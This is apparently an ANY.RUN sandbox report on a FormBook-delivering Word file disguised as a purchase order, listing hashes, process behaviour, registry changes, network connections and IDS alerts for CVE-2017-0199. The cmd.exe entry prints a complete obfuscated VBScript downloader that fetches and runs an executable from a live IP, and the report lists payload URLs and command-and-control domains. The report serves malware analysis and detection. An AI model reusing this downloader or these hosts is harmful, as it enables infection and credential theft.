File name:

PO OMULQP214.R8PO 18-049.docx

Full analysis: https://app.any.run/tasks/d180e6e0-300f-45a5-a51f-a2121b379d12
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Malware Trends Tracker     >>>
Analysis date: November 15, 2018, 02:57:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
generated-doc
opendir
trojan
loader
formbook
stealer
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

93C3E76659E7893FCEF5F63EF1AFC403

SHA1:

BB162586C1A1FAF0D5544F8223748E5ECA6F623E

SHA256:

C37ED90B11B277ADA5CC16671052962A85E4B2CAD61079E45655A2A680C1C93E

SSDEEP:

384:TQeNh+wS115Wp39FG6F7//o5wMAqNciBph:OwAk9GAycGP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • VUHTXN.eXe (PID: 3028)
      • VUHTXN.eXe (PID: 1284)

    • Downloads executable files from the Internet

      • WScript.exe (PID: 3032)

    • Downloads executable files from IP

      • WScript.exe (PID: 3032)

    • Loads the Task Scheduler COM API

      • taskhost.exe (PID: 2300)

    • FORMBOOK was detected

      • explorer.exe (PID: 1580)

    • Connects to CnC server

      • explorer.exe (PID: 1580)

    • Changes the autorun value in the registry

      • netsh.exe (PID: 328)

    • Actions looks like stealing of personal data

      • netsh.exe (PID: 328)

    • Formbook was detected

      • Firefox.exe (PID: 912)
      • netsh.exe (PID: 328)

    • Stealing of credential data

      • netsh.exe (PID: 328)

  • SUSPICIOUS

    • Application launched itself

      • VUHTXN.eXe (PID: 3028)

    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 1388)
      • mshta.exe (PID: 2928)
      • WScript.exe (PID: 3032)

    • Unusual connect from Microsoft Office

      • WINWORD.EXE (PID: 1388)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 2928)
      • netsh.exe (PID: 328)

    • Creates files in the user directory

      • explorer.exe (PID: 1580)
      • netsh.exe (PID: 328)

    • Executes scripts

      • cmd.exe (PID: 1760)

    • Reads the machine GUID from the registry

      • WScript.exe (PID: 3032)
      • taskhost.exe (PID: 2300)

    • Executable content was dropped or overwritten

      • WScript.exe (PID: 3032)

    • Uses NETSH.EXE for network configuration

      • explorer.exe (PID: 1580)

    • Creates files in the program directory

      • taskhost.exe (PID: 2300)

  • INFO

    • Starts Microsoft Office Application

      • explorer.exe (PID: 1580)

    • Reads settings of System Certificates

      • WINWORD.EXE (PID: 1388)

    • Reads internet explorer settings

      • mshta.exe (PID: 2928)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1388)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1388)
      • Firefox.exe (PID: 912)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 1388)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x344b4b79
ZipCompressedSize: 398
ZipUncompressedSize: 1474
ZipFileName: [Content_Types].xml

XMP

Creator: Olachi

XML

LastModifiedBy: Olachi
RevisionNumber: 2
CreateDate: 2018:11:08 13:02:00Z
ModifyDate: 2018:11:08 13:02:00Z
Template: Normal.dotm
TotalEditTime: -
Pages: 1
Words: 10
Characters: 61
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 70
SharedDoc: No
HyperlinksChanged: No
AppVersion: 14
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
11
Malicious processes
3
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start winword.exe mshta.exe no specs cmd.exe no specs wscript.exe vuhtxn.exe no specs vuhtxn.exe no specs #FORMBOOK netsh.exe cmd.exe no specs taskhost.exe no specs #FORMBOOK explorer.exe #FORMBOOK firefox.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
328"C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\netsh.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
912"C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe
netsh.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
56.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\dbghelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\version.dll
c:\program files\mozilla firefox\msvcp140.dll
c:\program files\mozilla firefox\vcruntime140.dll
1284C:\Users\admin\AppData\Local\Temp\VUHTXN.eXe" C:\Users\admin\AppData\Local\Temp\VUHTXN.eXe—VUHTXN.eXe
User:
admin
Company:
tynepc
Integrity Level:
MEDIUM
Description:
quincubital
Exit code:
0
Version:
5.07
Modules
Images
c:\users\admin\appdata\local\temp\vuhtxn.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
1388"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\PO OMULQP214.R8PO 18-049.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\msvcr90.dll
c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_a4d981ff711297b6\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1580C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\winanr.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1760"C:\Windows\System32\cmd.exe" /c CD %temp% & @echo set S2zB4rN4jB5pO0tY9pG3qC3nP7xK1l = createobject("wscript.shell") >UKUOJZ.vBS & @echo Dim M4vJ2xP2wO9kP4uU4pY1vS7jA6vW6nK0uW8cW1qW7lH8zH7nQ9gI2uS4yP6iD6o >>UKUOJZ.vBS & @echo Dim U5nZ8aE7kK7jH8uM4pV6wN4vY7bJ7qO0hE7gJ7wR1kG4cE7hR5fH6bL0q >>UKUOJZ.vBS & @echo Dim W8mX0vP3eK6wS8wQ3zZ8jV3hE2zJ8eT2lV5hI4lB3jS7qA6p >>UKUOJZ.vBS & @echo Dim G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t >>UKUOJZ.vBS & @echo M4vJ2xP2wO9kP4uU4pY1vS7jA6vW6nK0uW8cW1qW7lH8zH7nQ9gI2uS4yP6iD6o = "http://31.184.198.161/~winvps/1_com/putt/tny.exe" >>UKUOJZ.vBS & @echo U5nZ8aE7kK7jH8uM4pV6wN4vY7bJ7qO0hE7gJ7wR1kG4cE7hR5fH6bL0q = "VUHTXN.eXe" >>UKUOJZ.vBS & @echo Set W8mX0vP3eK6wS8wQ3zZ8jV3hE2zJ8eT2lV5hI4lB3jS7qA6p = CreateObject("MSXML2.XMLHTTP") >>UKUOJZ.vBS & @echo W8mX0vP3eK6wS8wQ3zZ8jV3hE2zJ8eT2lV5hI4lB3jS7qA6p.Open "GET", M4vJ2xP2wO9kP4uU4pY1vS7jA6vW6nK0uW8cW1qW7lH8zH7nQ9gI2uS4yP6iD6o, False >>UKUOJZ.vBS & @echo W8mX0vP3eK6wS8wQ3zZ8jV3hE2zJ8eT2lV5hI4lB3jS7qA6p.send ("") >>UKUOJZ.vBS & @echo If W8mX0vP3eK6wS8wQ3zZ8jV3hE2zJ8eT2lV5hI4lB3jS7qA6p.Status = 200 Then >>UKUOJZ.vBS & @echo Set G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t = CreateObject("ADODB.Stream") >>UKUOJZ.vBS & @echo G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t.Open >>UKUOJZ.vBS & @echo G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t.Type = 1 >>UKUOJZ.vBS & @echo G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t.Write W8mX0vP3eK6wS8wQ3zZ8jV3hE2zJ8eT2lV5hI4lB3jS7qA6p.ResponseBody >>UKUOJZ.vBS & @echo G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t.Position = 0 >>UKUOJZ.vBS & @echo G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t.SaveToFile U5nZ8aE7kK7jH8uM4pV6wN4vY7bJ7qO0hE7gJ7wR1kG4cE7hR5fH6bL0q, 2 >>UKUOJZ.vBS & @echo G0mY9hB8vY5nO1gT7qT8zW9nH2oN7pO4iK0qU9vF2tF8bY4kM2tO1t.Close >>UKUOJZ.vBS & @echo Set nE= Nothing >>UKUOJZ.vBS & @echo End If >>UKUOJZ.vBS & @echo Set W8mX0vP3eK6wS8wQ3zZ8jV3hE2zJ8eT2lV5hI4lB3jS7qA6p = Nothing >>UKUOJZ.vBS & @echo WScript.Sleep(5000) >>UKUOJZ.VBs& @echo S2zB4rN4jB5pO0tY9pG3qC3nP7xK1l.run(U5nZ8aE7kK7jH8uM4pV6wN4vY7bJ7qO0hE7gJ7wR1kG4cE7hR5fH6bL0q) >>UKUOJZ.vBS & sTaRt UKUOJZ.vbs C:\Windows\System32\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1888/c del "C:\Users\admin\AppData\Local\Temp\VUHTXN.eXe"C:\Windows\SysWOW64\cmd.exe—netsh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2300taskhost.exe $(Arg0)C:\Windows\system32\taskhost.exe—services.exe
User:
LOCAL SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2928C:\Windows\System32\mshta.exe -EmbeddingC:\Windows\System32\mshta.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\mshtml.dll
3028"C:\Users\admin\AppData\Local\Temp\VUHTXN.eXe" C:\Users\admin\AppData\Local\Temp\VUHTXN.eXe—WScript.exe
User:
admin
Company:
tynepc
Integrity Level:
MEDIUM
Description:
quincubital
Exit code:
0
Version:
5.07
Modules
Images
c:\users\admin\appdata\local\temp\vuhtxn.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
Total events
4 794
Read events
4 186
Write events
594
Delete events
14

Modification events

(PID) Process:(1580) explorer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0
Operation:writeName:CheckSetting
Value:
01000000D08C9DDF0115D1118C7A00C04FC297EB01000000BBC5DB9184679E4581A827FC3C15A6CC00000000020000000000106600000001000020000000B5B0069C5E27FBC1D53E21898D78326A4AD46058E907CE407F730299C1D4D4AE000000000E80000000020000200000006518C626348C122B4EFF734C6C13A39CC4937EA8EB5A74D100A7F1EDF339FB06300000007AD7CC0C1B954183EF8A067D351ECA88D363ECEA7FCA2925813A470082683DECB8B31BDB0E07BE45985EF07CCB7DC664400000007136E1B8B023038C0DEB868EECD57DEA5C8F965940D282AE05959C6F518B51B68FA2774627D92AD0B818DC34CB5DE7A3123AB7871E33C2880327A3572B99C814
(PID) Process:(1388) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:183
Value:
313833006C050000010000000000000000000000
(PID) Process:(1388) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(1388) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(1388) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1299120168
(PID) Process:(1388) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299120250
(PID) Process:(1388) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299120251
(PID) Process:(1388) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:FontInfoCacheW
Value:
6000000060000000F5FFFFFF000000000000000000000000BC02000000000000004000225400610068006F006D006100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000D0000000B000000020000000200000000000000060000001A000000BC0200000000000060000000600000002000FDFF1F0020000000002700000000FF2E00E15B6000C0290000000000000001000000000028200700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000D0000000B0000000200000002000000000000000500000017000000900100000000000060000000600000002000FDFF1F0020000000002700000000FF2E00E15B6000C02900000000000000010000000000282006000000F7FFFFFF0000000000000000000000009001000000000000004000225400610068006F006D006100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090000000200000002000000000000000400000013000000900100000000000060000000600000002000FDFF1F0020000000002700000000FF2E00E15B6000C02900000000000000010000000000282005000000
(PID) Process:(1388) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
6C05000064ED5FEA8E7CD40100000000
(PID) Process:(1388) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:4:3
Value:
343A33006C05000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
Executable files
2
Suspicious files
101
Text files
35
Unknown types
8

Dropped files

PID
Process
Filename
Type
1388WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3891.tmp.cvr —
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{39D0F58A-AE1F-4674-8E9A-C45361B91228} —
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{C354AB0B-328F-41CA-BDC2-6FC429CBF14F} —
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B0436F7.doc —
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AA731D.doc —
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\EAX5SMY6.txttext
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8D53A41.emfemf
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{107D4A97-505F-4BB5-B68B-2816E94E4F2D}.FSDbinary
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSDbinary
MD5:—
SHA256:—
1388WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{FD576097-4599-4DBF-9750-B398E41E68A7}.FSDbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
29
TCP/UDP connections
31
DNS requests
19
Threats
50

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1580
explorer.exe
GET
—
107.149.96.149:80
http://www.shengxingt.com/to/?3fvP=9rDlMJahCPK4Fjr&MJBD=X78yF5hIOyQJ6GHjsSUbF47AkG4xyqu0Metc16kallWXtvPCExGqCdCrSg7l6knT+AGF4Q==&sql=1
US
—
—
malicious
1388
WINWORD.EXE
GET
200
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/putt/tny.doc
RU
text
10.3 Kb
suspicious
1388
WINWORD.EXE
HEAD
200
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/putt/tny.doc
RU
text
10.3 Kb
suspicious
1388
WINWORD.EXE
HEAD
200
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/putt/tny.doc
RU
text
10.3 Kb
suspicious
1388
WINWORD.EXE
GET
304
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/putt/tny.doc
RU
text
10.3 Kb
suspicious
1388
WINWORD.EXE
HEAD
200
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/putt/tny.doc
RU
text
10.3 Kb
suspicious
1388
WINWORD.EXE
GET
200
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/putt/tny.hta
RU
html
2.29 Kb
suspicious
1388
WINWORD.EXE
GET
304
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/putt/tny.doc
RU
text
10.3 Kb
suspicious
1580
explorer.exe
POST
—
49.212.39.204:80
http://www.smotret-kino.info/to/
JP
—
—
malicious
1580
explorer.exe
POST
—
49.212.39.204:80
http://www.smotret-kino.info/to/
JP
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1388
WINWORD.EXE
104.28.15.54:443
urlz.fr
Cloudflare Inc
US
shared
860
svchost.exe
104.28.15.54:443
urlz.fr
Cloudflare Inc
US
shared
1388
WINWORD.EXE
31.184.198.161:80
—
Petersburg Internet Network ltd.
RU
suspicious
3032
WScript.exe
31.184.198.161:80
—
Petersburg Internet Network ltd.
RU
suspicious
1580
explorer.exe
69.89.31.117:80
www.prosperblackbeltacademy.com
Unified Layer
US
suspicious
1580
explorer.exe
49.212.39.204:80
www.smotret-kino.info
SAKURA Internet Inc.
JP
malicious
1580
explorer.exe
107.149.96.149:80
www.shengxingt.com
PEG TECH INC
US
malicious
1580
explorer.exe
199.192.26.77:80
www.dozceb.com
—
US
malicious
1580
explorer.exe
80.237.133.226:80
www.yourfishingclub.com
Host Europe GmbH
DE
malicious
1580
explorer.exe
173.236.169.181:80
www.oliverfluti.com
New Dream Network, LLC
US
suspicious

DNS requests

Domain
IP
Reputation
teredo.ipv6.microsoft.com
  • —
whitelisted
urlz.fr
  • 104.28.15.54
  • 104.28.14.54
shared
dns.msftncsi.com
  • 131.107.255.255
shared
www.rentorental.com
  • —
unknown
www.4bookingonline.com
  • —
unknown
www.tacohavenpresa.com
  • —
unknown
www.prosperblackbeltacademy.com
  • 69.89.31.117
malicious
www.likerecommend.com
  • —
unknown
www.ibnda.com
  • —
unknown
www.neighborhood-sight.com
  • —
unknown

Threats

PID
Process
Class
Message
1388
WINWORD.EXE
A Network Trojan was detected
ET CURRENT_EVENTS CVE-2017-0199 Common Obfus Stage 2 DL
1388
WINWORD.EXE
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious HTA application download
1388
WINWORD.EXE
Potentially Bad Traffic
ET POLICY Possible HTA Application Download
1388
WINWORD.EXE
Attempted User Privilege Gain
ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl
3032
WScript.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3032
WScript.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3032
WScript.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3032
WScript.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
1388
WINWORD.EXE
Attempted User Privilege Gain
ET WEB_CLIENT GENERIC VB ShellExecute Function Inside of VBSCRIPT tag
1580
explorer.exe
A Network Trojan was detected
SC SPYWARE Trojan-Spy.Win32.Noon
16 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
PO OMULQP214.R8PO 18-049.docx